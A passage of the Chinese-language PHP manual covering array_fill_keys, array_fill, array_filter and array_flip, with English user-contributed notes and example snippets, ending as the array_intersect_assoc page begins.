  • array_fill ?
  • PHP Manual
  • 数组 函数
  • 使用指定的键和值填充数组

array_fill_keys

(PHP 5 >= 5.2.0, PHP 7, PHP 8)

array_fill_keys — 使用指定的键和值填充数组

说明

array_fill_keys(array $keys, mixed $value): array

使用 value 参数的值作为值，使用 keys 数组的值作为键来填充一个数组。

参数

keys

使用该数组的值作为键。非法值将被转换为字符串。

value

填充使用的值。

返回值

返回填充后的数组。

示例

Example #1 array_fill_keys() 示例

<?php
$keys = array('foo', 5, 10, 'bar');
$a = array_fill_keys($keys, 'banana');
print_r($a);
?>

以上示例会输出：

Array
(
    [foo] => banana
    [5] => banana
    [10] => banana
    [bar] => banana
)

参见

  • array_fill() - 用给定的值填充数组
  • array_combine() - 创建一个数组，用一个数组的值作为其键名，另一个数组的值作为其值

User Contributed Notes

manavchugh988 at gmail dot com 20-Jun-2022 11:32
see array_fill_keys are basically used to make a new array from a pre-existing array in a form that the value of the pre-existing array will now be the key of the new Array .And there value will be same That we had given in the 2nd parameter . Example Below---->>>

<?php
        //pre existing array
        $a = array("a","b","c","d","e");

        //new array with a single same value

        $newArray = array_fill_keys($a, "Testing");

        //printing the array

        echo "<pre>";
        print_r($newArray);
        echo "</pre>";
?>
output;
    Array
(
    [a] => Testing
    [b] => Testing
    [c] => Testing
    [d] => Testing
    [e] => Testing
)
ray.paseur sometimes uses gmail 07-May-2022 03:50
Get an associative array of zeros for counting letter frequency

<?php
$ltrs = array_fill_keys( range('a', 'z'), 0 );
ntd at entidi dot it 23-Oct-2015 07:04
To remove arbitrary keys from an associative array:

<?php

function nuke_keys($keys, $array) {
    return array_diff_key($array, array_fill_keys($keys, 0));
}

$array = array('blue'  => 1, 'red'  => 2, 'green'  => 3, 'purple' => 4);
$keys  = array('red', 'purple');

print_r(nuke_keys($keys, $array));
?>

The above snippet will return:

Array
(
    [blue] => 1
    [green] => 3
)
taylanaktepe at yahoo dot com 21-Jul-2014 09:46
$keys = array(1, 2, 3);

// Fill it with value.
$keys = array_fill_keys($keys, 'banana');
print_r($keys);

// Fill it different value.
$apples = array_fill_keys(array_keys($keys), 'apple');
print_r($apples);

// Output:
Array (
 [1] => banana
 [2] => banana
 [3] => banana
)
Array (
 [1] => apple
 [2] => apple
 [3] => apple
)
atul dot kr_singh at hotmail dot com 04-Jan-2013 11:39
If an associative array is used as the second parameter of array_fill_keys, then the associative array will be appended in all the values of the first array.
e.g.
<?php
$array1 = array(
    "a" => "first",
    "b" => "second",
    "c" => "something",
    "red"
);

$array2 = array(
    "a" => "first",
    "b" => "something",
    "letsc"
);

print_r(array_fill_keys($array1, $array2));
?>

The output will be
Array(
    [first] => Array(
        [a] => first,
        [b] => something,
        [0] => letsc
    ),
    [second] => Array(
        [a] => first,
        [b] => something,
        [0] => letsc
    ),
    [something] => Array(
        [a] => first,
        [b] => something,
        [0] => letsc
    ),
    [red] => Array(
        [a] => first,
        [b] => something,
        [0] => letsc
    )
)
sergli at nigma dot ru 25-May-2012 11:53
<?php
$a = array("1");

var_dump(array_fill_keys($a, "test"));
?>

array(1) {
  [1]=>
  string(4) "test"
}

now string key "1" become an integer value 1, be careful.
matrebatre 20-Jun-2008 07:28
This function does the same as:
<?php
$array = array_combine($keys,array_fill(0,count($keys),$value));
?>
phydeaux 14-May-2008 10:26
Scratchy's version still doesn't work like the definition describes.  Here's one that can take a mixed variable as the second parameter, defaulting to an empty string if it's not specified.  Don't know if this is exactly how the function works in later versions but it's at least a lot closer.

function array_fill_keys($target, $value = '') {
    if(is_array($target)) {
        foreach($target as $key => $val) {
            $filledArray[$val] = is_array($value) ? $value[$key] : $value;
        }
    }
    return $filledArray;
}

This works for either strings or numerics, so if we have

$arr1 = array(0 => 'abc', 1 => 'def');
$arr2 = array(0 => 452, 1 => 128);
$arr3 = array(0 => 'foo', 1 => 'bar');

then

array_fill_keys($arr1,$arr2)
returns: [abc] => 452, [def] => 128

array_fill_keys($arr1,0)
returns: [abc] => 0, [def] => 0

array_fill_keys($arr2,$arr3)
returns: [452] => foo, [128] => bar

array_fill_keys($arr3,'BLAH')
returns: [foo] => BLAH, [bar] => BLAH

and array_fill_keys($arr1)
returns: [abc] =>, [def] =>
Scratchy 02-May-2008 02:18
RE: bananasims at hotmail dot com

I also needed a work around to not having a new version of PHP and wanting my own keys. bananasims code doesn't like having an array as the second parameter...

Here's a slightly modified version than can handle 2 arrays as inputs:

//we want these values to be keys
$arr1 = (0 => "abc", 1 => "def");
/we want these values to be values
$arr2 = (0 => 452, 1 => 128);

function array_fill_keys($keyArray, $valueArray) {
    if(is_array($keyArray)) {
        foreach($keyArray as $key => $value) {
            $filledArray[$value] = $valueArray[$key];
        }
    }
    return $filledArray;
}

array_fill_keys($arr1, $arr2);

returns:
abc => 452, def =>128
bananasims at hotmail dot com 19-Dec-2006 05:03
Some of the versions do not have this function.
I try to write it myself.
You may refer to my script below

function array_fill_keys($array, $values) {
    if(is_array($array)) {
        foreach($array as $key => $value) {
            $arraydisplay[$array[$key]] = $values;
        }
    }
    return $arraydisplay;
}


用给定的值填充数组

  • ? array_fill_keys
  • array_filter ?
  • PHP Manual
  • 数组 函数
  • 用给定的值填充数组

array_fill

(PHP 4 >= 4.2.0, PHP 5, PHP 7, PHP 8)

array_fill — 用给定的值填充数组

说明

array_fill(int $start_index, int $count, mixed $value): array

用 value 参数的值填充 count 个元素到数组， 开始键名由 start_index 参数指定。

参数

start_index

返回的数组的第一个索引值。

如果 start_index 是负数，在 PHP 8.0.0 之前，返回的数组的第一个索引是 start_index， 而后面索引则从 0 开始；自 PHP 8.0.0 起， 负数键将会正常递增。（参见 例子）

count

要插入元素的数量。必须大于或等于 0 且小于或等于 2147483647。

value

用来填充的值。

返回值

返回填充后的数组。

错误／异常

如果 count 超出范围，将会抛出 ValueError。

更新日志

版本 | 说明
8.0.0 | 如果 array_fill() 的 count 超出范围现在将会抛出 ValueError， 之前会引发 E_WARNING 且函数返回 false。

示例

Example #1 array_fill() 例子

<?php
$a = array_fill(5, 6, 'banana');
print_r($a);
?>

以上示例会输出：

Array
(
    [5]  => banana
    [6]  => banana
    [7]  => banana
    [8]  => banana
    [9]  => banana
    [10] => banana
)

Example #2 开始索引为负数的 array_fill() 示例

<?php
$a = array_fill(-2, 4, 'pear');
print_r($a);
?>

以上示例在 PHP 7 中的输出：

Array
(
    [-2] => pear
    [0] => pear
    [1] => pear
    [2] => pear
)

以上示例在 PHP 8 中的输出：

Array
(
    [-2] => pear
    [-1] => pear
    [0] => pear
    [1] => pear
)

注意 索引 -1 在 PHP 8.0.0 之前不存在。

注释

参见手册上数组一节里关于负数的键的详细解释。

参见

  • array_fill_keys() - 使用指定的键和值填充数组
  • str_repeat() - 重复一个字符串
  • range() - 根据范围创建数组，包含指定的元素

User Contributed Notes

user at NOSPAM dot example dot com 30-Jun-2021 04:28
As of PHP 8.0 the example code

<?php
$b = array_fill(-2, 4, 'pear');
print_r($b);
?>

now returns

Array
(
    [-2] => pear
    [-1] => pear
    [0] => pear
    [1] => pear
)

See https://wiki.php.net/rfc/negative_array_index and https://github.com/php/php-src/pull/3772
Hayley Watson 13-Jan-2018 11:57
Fill missing keys in a (numerically-indexed) array with a default value

<?php

function fill_missing_keys($array, $default = null, $atleast = 0)
{
    return $array + array_fill(0, max($atleast, max(array_keys($array))), $default);
}

?>
anatoliy at ukhvanovy dot name 16-Jun-2014 10:00
If you need negative indices:
<?php
$b = array_fill(-2, 4, 'pear');//this is not what we want
$c = array_fill_keys(range(-2,1),'pear');//these are negative indices
print_r($b);
print_r($c);
?>
Here is result of the code above:
Array
(
    [-2] => pear
    [0] => pear
    [1] => pear
    [2] => pear
)
Array
(
    [-2] => pear
    [-1] => pear
    [0] => pear
    [1] => pear
)
mchljnk at NOSPAM dot gmail dot com 10-Nov-2013 03:07
Using objects with array_fill may cause unexpected results. Consider the following:

<?php
class Foo {
   public $bar = "banana";
}

//fill an array with objects
$array = array_fill(0, 2, new Foo());

var_dump($array);
/*
array(2) {
  [0]=>
  object(Foo)#1 (1) {
    ["bar"]=>
    string(6) "banana"
  }
  [1]=>
  object(Foo)#1 (1) {
    ["bar"]=>
    string(6) "banana"
  }
} */

//now we change the attribute of the object stored in index 0
//this actually changes the attribute for EACH object in the ENTIRE array
$array[0]->bar = "apple";

var_dump($array);
/*
array(2) {
  [0]=>
  object(Foo)#1 (1) {
    ["bar"]=>
    string(5) "apple"
  }
  [1]=>
  object(Foo)#1 (1) {
    ["bar"]=>
    string(5) "apple"
  }
}
 */
?>

Objects are filled in the array BY REFERENCE. They are not copied for each element in the array.
miguelxpain at gmail dot com 24-Feb-2012 06:04
I made this function named "array_getMax" that returns te maximum value and index, from array:

<?php
//using array_search_all by helenadeus at gmail dot com

function array_search_all($needle, $haystack)
{#array_search_match($needle, $haystack) returns all the keys of the values that match $needle in $haystack

    foreach ($haystack as $k=>$v) {

        if($haystack[$k]==$needle){

           $array[] = $k;
        }
    }
    return ($array);

}

function array_getMax($array){

    $conteo=array_count_values($array);

    if( count($conteo)==1 ){//returns full array when all values are the same.
        return  $array;
    }

    arsort($array);

    //$antValue=null;
    $maxValue=null;
    $keyValue=null;
    foreach($array as $key=>$value){
        if($maxValue==null){
            $maxValue=$value;
            $keyValue=$key;
            break;
        }
    }

    $resultSearch=array_search_all($maxValue, $array);

   return  array_fill_keys($resultSearch, $maxValue);

}

//example
  $arreglo=array('e1'=>99,'e2'=>'99','e3'=>1,'e4'=>1,'e5'=>98);

    var_dump(array_getMax($arreglo));

//output
/*
array(2) {
  ["e1"]=>
  int(99)
  ["e2"]=>
  int(99)
}
*/
?>

I hope some one find this usefull
csst0266 at cs dot uoi dot gr 11-Aug-2004 10:32
This is what I recently did to quickly create a two dimensional array (10x10), initialized to 0:

<?php
  $a = array_fill(0, 10, array_fill(0, 10, 0));
?>

This should work for as many dimensions as you want, each time passing to array_fill() (as the 3rd argument) another array_fill() function.
25-Aug-2002 01:59
array_fill() cannot be used to setup only missing keys in an array. This  may be necessary for example before using implode()  on a sparse filled array.
The solution is to use this function:

<?php
function array_setkeys(&$array, $fill = NULL) {
  $indexmax = -1;
  for (end($array); $key = key($array); prev($array)) {
    if ($key > $indexmax)
      $indexmax = $key;
  }
  for ($i = 0; $i <= $indexmax; $i++) {
    if (!isset($array[$i]))
      $array[$i] = $fill;
  }
  ksort($array);
}
?>

This is usefull in some situations where you don't know which key index was filled and you want to preserve the association between a positioned field in an imploded array and the key index when exploding it.


使用回调函数过滤数组的元素

  • ? array_fill
  • array_flip ?
  • PHP Manual
  • 数组 函数
  • 使用回调函数过滤数组的元素

array_filter

(PHP 4 >= 4.0.6, PHP 5, PHP 7, PHP 8)

array_filter — 使用回调函数过滤数组的元素

说明

array_filter(array $array, ?callable $callback = null, int $mode = 0): array

遍历 array 数组中的每个值，并将每个值传递给 callback 回调函数。 如果 callback 回调函数返回 true，则将 array 数组中的当前值返回到结果 array 数组中。

返回结果 array 数组的键名（下标）会维持不变，如果 array 参数是索引数组，返回的结果 array 数组键名（下标）可能会不连续。 可以使用 array_values() 函数对数组重新索引。

参数

array

要遍历的数组

callback

使用的回调函数

如果没有提供 callback 回调函数，将删除数组中 array 的所有"空"元素。 有关 PHP 如何判定"空"元素，请参阅 empty() 。

mode

决定哪些参数发送到 callback 回调的标志：

  • ARRAY_FILTER_USE_KEY - 将键名作为 callback 回调的唯一参数，而不是值
  • ARRAY_FILTER_USE_BOTH - 将值和键都作为参数传递给 callback 回调，而不是仅传递值
默认值为 0 ，只传递值作为 callback 回调的唯一参数。

返回值

返回过滤后的数组。

更新日志

版本 | 说明
8.0.0 | callback 现在可为空（nullable）。
8.0.0 | 如果 callback 接受引用传递参数，该方法将会抛出 E_WARNING。

示例

Example #1 array_filter() 示例

<?php
function odd($var)
{
// 返回输入整数是否为奇数（单数）
return $var & 1;
}
function even($var)
{
// 返回输入整数是否为偶数
return !($var & 1);
}
$array1 = ['a' => 1, 'b' => 2, 'c' => 3, 'd' => 4, 'e' => 5];
$array2 = [6, 7, 8, 9, 10, 11, 12];
echo "Odd :\n";
print_r(array_filter($array1, "odd"));
echo "Even:\n";
print_r(array_filter($array2, "even"));
?>

以上示例会输出：

Odd :
Array
(
    [a] => 1
    [c] => 3
    [e] => 5
)
Even:
Array
(
    [0] => 6
    [2] => 8
    [4] => 10
    [6] => 12
)

Example #2 array_filter() 不使用 callback 参数时

<?php
$entry = [
0 => 'foo',
1 => false,
2 => -1,
3 => null,
4 => '',
5 => '0',
6 => 0,
];
print_r(array_filter($entry));
?>

以上示例会输出：

Array
(
    [0] => foo
    [2] => -1
)

Example #3 array_filter() 不使用 mode 参数时

<?php
$arr = ['a' => 1, 'b' => 2, 'c' => 3, 'd' => 4];
var_dump(array_filter($arr, function($k) {
return $k == 'b';
}, ARRAY_FILTER_USE_KEY));
var_dump(array_filter($arr, function($v, $k) {
return $k == 'b' || $v == 4;
}, ARRAY_FILTER_USE_BOTH));
?>

以上示例会输出：

array(1) {
  ["b"]=>
  int(2)
}
array(2) {
  ["b"]=>
  int(2)
  ["d"]=>
  int(4)
}

注释

Caution

不应该在回调函数中改变数组（如：添加、删除或销毁"unset"当前数组和里面的元素），否则此函数的行为将不可预测。

参见

  • array_intersect() - 计算数组的交集
  • array_map() - 为数组的每个元素应用回调函数
  • array_reduce() - 用回调函数迭代地将数组简化为单一的值
  • array_walk() - 使用用户自定义函数对数组中的每个元素做回调处理

User Contributed Notes

Hayley Watson 25-Jul-2023 06:20
The fact that array_filter preserves keys makes partitioning an array into [elements that pass the test, elements that fail the test] quite easy. In essence:

<?php
function partition($array, $test)
{
    $pass = array_filter($array, $test);
    $fail = array_diff_key($array, $pass);
    return [false => $fail, true => $pass];
}
?>

The array_diff_key call is key; indexing the returned array as shown allows lines like "$failures = $partition[false];" to do the right thing (the booleans get converted to integers of course, but it's consistent and self-documenting).
Merlindog 27-Jun-2023 02:43
It is clearly documented above, but make sure you never forget that when ARRAY_FILTER_USE_BOTH is set, the callback argument order is value, key - NOT key, value. You'll save some time.
Niko E 14-Sep-2022 03:24
Note that a filtered array no longer encodes to json arrays, as the indices are no longer continuous:

$a = ['a', 'b', 'c'];
var_dump(json_encode($a)); //  ["a","b","c"]
$a = array_filter($a, function ($x) { return $x == 'b'; });
var_dump(json_encode($a)); // {"1": "b"}

you can use array_values get a continuous array

var_dump(json_encode(array_values($a))); // ["b"]
justinphiggs at gmail dot com 03-Jul-2022 08:51
Check if all elements in array are not empty/null/falsy.
------------------------------
Supposing you have a one dimensional array...

<?php
  $spicy_numbers = [69, 420, ?];
?>

And you want to easily check that all elements in said array are not null/empty/any falsy value, instead of running a loop over each element, you can pass the array to <?php array_filter() ?>, with no callback function, and then check if the returned array is the same size as the original, since <?php array_filter() ?> strips out all non-truthy values including 0 when no callback is provided.

Example:
<?php
  $spicy_numbers = [69, 420, '']; // Phi is gone!

  if ( count( array_filter( $spicy_numbers ) ) !== count( $spicy_numbers ) ) {
    // One of the elements is empty/null/falsy.
  } else {
    // All elements present and truthy.
  }
?>

As a neat little function, you could do this:
<?php
  /**
   * Checks if all of given array's elements have a non-falsy value.
   * Use-case: If all items in array are set and have a value (truthy, of course), then do X; else, do Y.
   *
   * @param array $arr
   * @return bool
   */
  function is_array_full( $arr ) {
    $array_count    = count( $arr );
    $filtered_count = count( array_filter( $arr ) );

    return ( $array_count === $filtered_count ) ? true : false;
  }
?>
TechNyquist 13-May-2022 06:36
Keep in mind that, as of PHP 7.4 and above, you can use arrow functions to as argument.
So for example if you want to leave values bigger than 10:

<?php
    $arr = array_filter($numbers, fn($n) => $n > 10);
?>

also, combine with key-flag to cut certain keys:

<?php
    $arr = array_filter($entries, fn($key) => !in_array($key, ['key1', 'key5']), ARRAY_FILTER_USE_KEY);
?>

and so on.
ASchmidt at Anamera dot net 08-Sep-2021 05:24
Depending on the intended meanings of your "empty" array values, e.g., null and empty string, vs. an integer 0 or a boolean false, be mindful of the result of different filters.

<?php
declare(strict_types=1);

$array = array( 'null' => null, 'nullstring' => '',  'intzero' => 0,  'stringzero' => '0', 'false' => false, 'stringfalse' => 'false', );

// Removes null, null-string -- but also FALSE!
$filtered1 = array_filter( $array, 'strlen' );

// Removes only null.
$filtered2 = array_filter( $array, function( $v ) { return !is_null( $v ); } );

// Removes null and null-string. Keeps FALSE and 0.
$filtered3 = array_filter( $array, function( $v ) { return !( is_null( $v) or '' === $v ); } );

var_dump( $array, $filtered1, $filtered2, $filtered3 );
?>

Results in:

array (size=3)
  'intzero' => int 0
  'stringzero' => string '0' (length=1)
  'stringfalse' => string 'false' (length=5)

array (size=5)
  'nullstring' => string '' (length=0)
  'intzero' => int 0
  'stringzero' => string '0' (length=1)
  'false' => boolean false
  'stringfalse' => string 'false' (length=5)

array (size=4)
  'intzero' => int 0
  'stringzero' => string '0' (length=1)
  'false' => boolean false
  'stringfalse' => string 'false' (length=5)
nicolaj dot knudsen at gmail dot com 05-Apr-2017 12:05
If you like me have some trouble understanding example #1 due to the bitwise operator (&) used, here is an explanation.

The part in question is this callback function:

<?php
function odd($var)
{
    // returns whether the input integer is odd
    return($var & 1);
}
?>

If given an integer this function returns the integer 1 if $var is odd and the integer 0 if $var is even.
The single ampersand, &, is the bitwise AND operator. The way it works is that it takes the binary representation of the two arguments and compare them bit for bit using AND. If $var = 45, then since 45 in binary is 101101 the operation looks like this:

45 in binary: 101101
1 in binary:  000001
              ------
result:       000001

Only if the last bit in the binary representation of $var is changed to zero (meaning that the value is even) will the result change to 000000, which is the representation of zero.
marc dot gray at gmail dot com 29-Apr-2014 10:44
My favourite use of this function is converting a string to an array, trimming each line and removing empty lines:

<?php
$array = array_filter(array_map('trim', explode("\n", $string)), 'strlen');
?>

Although it states clearly that array keys are preserved, it's important to note this includes numerically indexed arrays. You can't use a for loop on $array above without processing it through array_values() first.
Anonymous 13-Jan-2013 05:52
If you want a quick way to remove NULL, FALSE and Empty Strings (""), but leave values of 0 (zero), you can use the standard php function strlen as the callback function:
eg:
<?php

// removes all NULL, FALSE and Empty Strings but leaves 0 (zero) values
$result = array_filter( $array, 'strlen' );

?>
marc dot vanwoerkom at fernuni-hagen dot de 05-Jul-2004 08:09
Some of PHP's array functions play a prominent role in so called functional programming languages, where they show up under a slightly different name:

<?php
  array_filter() -> filter(),
  array_map() -> map(),
  array_reduce() -> foldl() ("fold left")
?>

Functional programming is a paradigm which centers around the side-effect free evaluation of functions. A program execution is a call of a function, which in turn might be defined by many other functions. One idea is to use functions to create special purpose functions from other functions.

The array functions mentioned above allow you compose new functions on arrays.

E.g. array_sum = array_map("sum", $arr).

This leads to a style of programming that looks much like algebra, e.g. the Bird/Meertens formalism.

E.g. a mathematician might state

  map(f o g) = map(f) o map(g)

the so called "loop fusion" law.

Many functions on arrays can be created by the use of the foldr() function (which works like foldl, but eating up array elements from the right).

I can't get into detail here, I just wanted to provide a hint about where this stuff also shows up and the theory behind it.


交换数组中的键和值

  • ? array_filter
  • array_intersect_assoc ?
  • PHP Manual
  • 数组 函数
  • 交换数组中的键和值

array_flip

(PHP 4, PHP 5, PHP 7, PHP 8)

array_flip — 交换数组中的键和值

说明

array_flip(array $array): array

array_flip() 返回一个反转后的 array，例如 array 中的键名变成了值，而 array 中的值成了键名。

注意 array 中的值需要能够作为合法的键名（例如需要是 int 或者 string）。如果类型不对，将出现一个警告，并且有问题的键／值对将不会出现在结果里。

如果同一个值出现多次，则最后一个键名将作为它的值，其它键会被丢弃。

参数

array

要交换键/值对的数组。

返回值

返回交换后的数组。

示例

Example #1 array_flip() 例子

<?php
$input = array("oranges", "apples", "pears");
$flipped = array_flip($input);

print_r($flipped);
?>

以上示例会输出：

Array
(
    [oranges] => 0
    [apples] => 1
    [pears] => 2
)

Example #2 array_flip() 例子 : 冲突

<?php
$input = array("a" => 1, "b" => 1, "c" => 2);
$flipped = array_flip($input);

print_r($flipped);
?>

以上示例会输出：

Array
(
    [1] => b
    [2] => c
)

参见

  • array_values() - 返回数组中所有的值
  • array_keys() - 返回数组中部分的或所有的键名
  • array_reverse() - 返回单元顺序相反的数组

User Contributed Notes

mmulej at gmail dot com 21-Oct-2021 01:05
If you don't want to lose duplicates, and you're ok, with having the values in the flipped array in an array as well, you may use this:

PHP 7.4 - ^8

<?php

function array_flip_safe(array $array) : array
{
    return array_reduce(array_keys($array), function ($carry, $key) use (&$array) {
        $carry[$array[$key]] ??= [];
        $carry[$array[$key]][] = $key;
        return $carry;
    }, []);
}

?>

PHP 7.0 - ^7.3 (Time to upgrade to PHP 8 ^^)

<?php

function array_flip_safe(array $array) : array
{
    return array_reduce(array_keys($array), function ($carry, $key) use (&$array) {
        $carry[$array[$key]] = $carry[$array[$key]] ?? [];
        $carry[$array[$key]][] = $key;
        return $carry;
    }, []);
}

?>

PHP 5.4 - ^5.6 (Just don't)

<?php

function array_flip_safe(array $array)
{
    return array_reduce(array_keys($array), function ($carry, $key) use (&$array) {
        if (!isset($carry[$array[$key]])
                $carry[$array[$key]] = [];
        $carry[$array[$key]][] = $key;
        return $carry;
    }, []);
}

?>
Ahammar Yassine 11-Oct-2018 06:03
<?php

$arr = array('one' => ['four' => 4], 'two' => '2', 'three' => '3');
var_dump($arr);

$arr2 = array_flip($arr);
var_dump($arr2);

?>

The above example will output:

array(3) {
  ["one"]=>
  array(1) {
    ["four"]=>
    int(4)
  }
  ["two"]=>
  string(1) "2"
  ["three"]=>
  string(1) "3"
}

Warning: array_flip(): Can only flip STRING and INTEGER values! in /root/test.php on line 4
array(2) {
  [2]=>
  string(3) "two"
  [3]=>
  string(5) "three"
}
dash 08-Oct-2018 03:27
Notice : array_flip can turn string into integer
Hayley Watson 30-Oct-2017 03:19
Don't use this function for filtering or searching an array - PHP already has functions for exactly those purposes. If nothing else, array_flip will trash the array's elements if they're anything other than integers or non-decimal-integer strings.
Bob Ray 03-Mar-2017 04:22
array_flip will remove duplicate values in the original array when you flip either an associative or numeric array. As you might expect it's the earlier of two duplicates that is lost:

<?php
    $a = array('one', 'two', 'one');
    print_r($a);

    $b = array_flip($a);
    print_r($b);
?>

Result:

array(3) {
  [0]  => string(3) "one"
  [1]  =>  string(3) "two"
  [2]  =>  string(3) "one"
}

array(2) {
  'one' => int(2)
  'two' => int(1)
}

This may be good or bad, depending on what you want, but no error is thrown.
info at sabastore dot net 27-Apr-2016 08:57
note :: array_flip is a changer for key and value and a auto unique like array_unique :

<?php
/*
sabastore
 */
$intArray1 = array(-4,1,1,3);
print_r($intArray1);
$intArray1 = array_flip($intArray1);
print_r($intArray1);
?>
Prabhas Gupte 27-Jan-2015 06:48
array_flip() does not retain the data type of values, when converting them into keys. :(

<?php
$arr = array('one' => '1', 'two' => '2', 'three' => '3');
var_dump($arr);
$arr2 = array_flip($arr);
var_dump($arr2);
?>

This code outputs this:
array(3) {
  ["one"]=>
  string(1) "1"
  ["two"]=>
  string(1) "2"
  ["three"]=>
  string(1) "3"
}
array(3) {
  [1]=>
  string(3) "one"
  [2]=>
  string(3) "two"
  [3]=>
  string(5) "three"
}

It is valid expectation that string values "1", "2" and "3" would become string keys "1", "2" and "3".
grimdestripador at hotmail dot com 25-Feb-2014 12:06
<?php
function array_flip_into_subarray($input){
$output = array();
foreach ($input as $key=>$values){
    foreach ($values as $value){
        $output[$value][] = $key;
    }
}
return $output;
}
Tony H 29-Apr-2013 02:59
This function is useful when parsing a CSV file with a heading column, but the columns might vary in order or presence:

<?php

$f = fopen("file.csv", "r");

/* Take the first line (the header) into an array, then flip it
so that the keys are the column name, and values are the
column index. */
$cols = array_flip(fgetcsv($f));

while ($line = fgetcsv($f))
{
    // Now we can reference CSV columns like so:
    $status = $line[$cols['OrderStatus']];
}

?>

I find this better than referencing the numerical array index.
Anonymous 05-Apr-2012 10:17
Similarly, if you want the last value without affecting the pointer, you can do:

<?php

$array = array("one","two","three");

echo next($array); // "two"

$last = array_pop(array_keys(array_flip($array)));

echo $last;  // "three"

echo current($array); // "two"

?>
kjensen at iaff106 dot com 06-Jan-2012 10:23
I needed a way to flip a multidimensional array and came up with this function to accomplish the task.  I hope it helps someone else.

<?php
function multi_array_flip($arrayIn, $DesiredKey, $DesiredKey2=false, $OrigKeyName=false) {
$ArrayOut=array();
foreach ($arrayIn as $Key=>$Value)
    {
        // If there is an original key that need to be preserved as data in the new array then do that if requested ($OrigKeyName=true)
        if ($OrigKeyName) $Value[$OrigKeyName]=$Key;
        // Require a string value in the data part of the array that is keyed to $DesiredKey
        if (!is_string($Value[$DesiredKey])) return false;

        // If $DesiredKey2 was specified then assume a multidimensional array is desired and build it
        if (is_string($DesiredKey2))
        {
            // Require a string value in the data part of the array that is keyed to $DesiredKey2
            if (!is_string($Value[$DesiredKey2])) return false;

            // Build NEW multidimensional array
            $ArrayOut[$Value[$DesiredKey]][$Value[$DesiredKey2]]=$Value;
        }

            // Build NEW single dimention array
        else $ArrayOut[$Value[$DesiredKey]][]=$Value;
    }
return $ArrayOut;
}//end multi_array_flip
?>
Final 16-Dec-2011 04:16
I find this function vey useful when you have a big array and you want to know if a given value is in the array. in_array in fact becomes quite slow in such a case, but you can flip the big array and then use isset to obtain the same result in a much faster way.
h3x 12-Sep-2010 01:11
this function can be used to remove null elements form an array:

<?php
$ar = array(null,'1','2',null,'3',null);
print_r($ar);
/*
result:
Array
(
    [0] =>
    [1] => 1
    [2] => 2
    [3] =>
    [4] => 3
    [5] =>
)
*/

print_r(array_flip(array_flip($ar)));
/*
result:
Array
(
    [1] => 1
    [2] => 2
    [4] => 3
)
*/
?>
Hayley Watson 20-Mar-2009 02:22
Finding the longest string in an array?

<?php
function longest_string_in_array($array)
{
    $mapping = array_combine($array, array_map('strlen', $array));
    return array_keys($mapping, max($mapping));
}
?>

Differences are obvious: returns an array of [i]all[/i] of the longest strings, instead of just picking one arbitrarily. Doesn't do the stripslashing or magic stuff because that's another job for for another function.
dan at aoindustries dot com 07-Mar-2009 12:48
From an algorithmic efficiency standpoint, building an entire array of lengths to then sort to only retrieve the longest value is unnecessary work.  The following should be O(n) instead of O(n log n).  It could also be:

<?php
function get_longest_value($array) {
    // Some don't like to initialize, I do
    $longest = NULL;
    $longestLen = -1;
    foreach ($array $value) {
        $len = strlen($value);
        if($len>$longestLen) {
            $longest = $value;
            $longestLen = $len;
        }
    }
    $longest = str_replace("\r\n", "\n", $longest);
    if (get_magic_quotes_gpc()) { return stripslashes($longest); }
    return $longest;
}
?>
corz at corz dot org 08-Dec-2008 01:36
<?php
/*
    Fun function to return the longest physical *value* from an array.

    Culled from a small script designed to capture the longest $_POST variable,
    usually the textarea, which would then be dumped to a "emergency post dump file".

    corz at corz dot org
*/

$array = array("input" => "submit", "textarea" => "Some long spiel of text\r\na textarea, probably",
                        "another-input" => "make me longer", "and" => "another", "etc" => "etc.");

echo '<!DOCTYPE HTML SYSTEM><html><head><title>long</title></head><body><pre>Longest value: ',
                                            get_longest_value($array),'</pre></body></html>';

function get_longest_value($array) {
    foreach ($array as $key => $value) {
        $lengths[$key] = strlen($value);
    }
    asort($lengths);
    $lengths = array_flip($lengths);
    $longest = str_replace("\r\n", "\n", $array[array_pop($lengths)]);
    if (get_magic_quotes_gpc()) { return stripslashes($longest); }
    return $longest;
}
?>
pinkgothic at gmail dot com 26-Apr-2007 01:37
In case anyone is wondering how array_flip() treats empty arrays:

<?php
print_r(array_flip(array()));
?>

results in:

Array
(
)

I wanted to know if it would return false and/or even chuck out an error if there were no key-value pairs to flip, despite being non-intuitive if that were the case. But (of course) everything works as expected. Just a head's up for the paranoid.
snaury at narod dot ru 23-Nov-2004 11:21
When you do array_flip, it takes the last key accurence for each value, but be aware that keys order in flipped array will be in the order, values were first seen in original array. For example, array:

    [1] => 1
    [2] => 2
    [3] => 3
    [4] => 3
    [5] => 2
    [6] => 1
    [7] => 1
    [8] => 3
    [9] => 3

After flipping will become:
(first seen value -> first key)

    [1] => 7
    [2] => 5
    [3] => 9

And not anything like this:
(last seen value -> last key)

    [2] => 5
    [1] => 7
    [3] => 9

In my application I needed to find five most recently commented entries. I had a sorted comment-id => entry-id array, and what popped in my mind is just do array_flip($array), and I thought I now would have last five entries in the array as most recently commented entry => comment pairs. In fact it wasn't (see above, as it is the order of values used). To achieve what I need I came up with the following (in case someone will need to do something like that):

First, we need a way to flip an array, taking the first encountered key for each of values in array. You can do it with:

  $array = array_flip(array_unique($array));

Well, and to achieve that "last comments" effect, just do:

  $array = array_reverse($array, true);
  $array = array_flip(array_unique($array));
  $array = array_reverse($array, true);

In the example from the very beginning array will become:

    [2] => 5
    [1] => 7
    [3] => 9

Just what I (and maybe you?) need. =^_^=
znailz at yahoo dot com 05-Aug-2003 02:42
I know a lot of people want a function to remove a key by value from an array. I saw solutions that iterate(!) though the whole array comparing value by value and then unsetting that value's key. PHP has a built-in function for pretty much everything (heard it will even cook you breakfast), so if you think "wouldn't it be cool if PHP had a function to do that...", odds are it already has. Check out this example. It takes a value, gets all keys for that value if it has duplicates, unsets them all, and returns a reindexed array.

<?php
$arr = array(11,12,13,12);        // sample array
$arr = array_flip($arr);
unset($arr[12]);
$arr = array(array_keys($arr));
?>

$arr contains:

Array
(
    [0] => Array
        (
            [0] => 11
            [1] => 13
        )
?>

)


带索引检查计算数组的交集

  • ? array_flip
  • array_intersect_key ?
  • PHP Manual
  • 数组 函数
  • 带索引检查计算数组的交集

array_intersect_assoc

(PHP 4 >= 4.3.0, PHP 5, PHP 7, PHP 8)

array_intersect_assoc — 带索引检查计算数组的交集

说明

array_intersect_assoc(array $array, array ...$arrays): array

array_intersect_assoc() 返回一个数组，该数组包含了所有在 array 和其它参数数组中同时存在的值。注意和 array_intersect() 不同的是，键名也用于比较。

参数

array

要检查的数组，作为主值。

arrays

要被对比的数组。

返回值

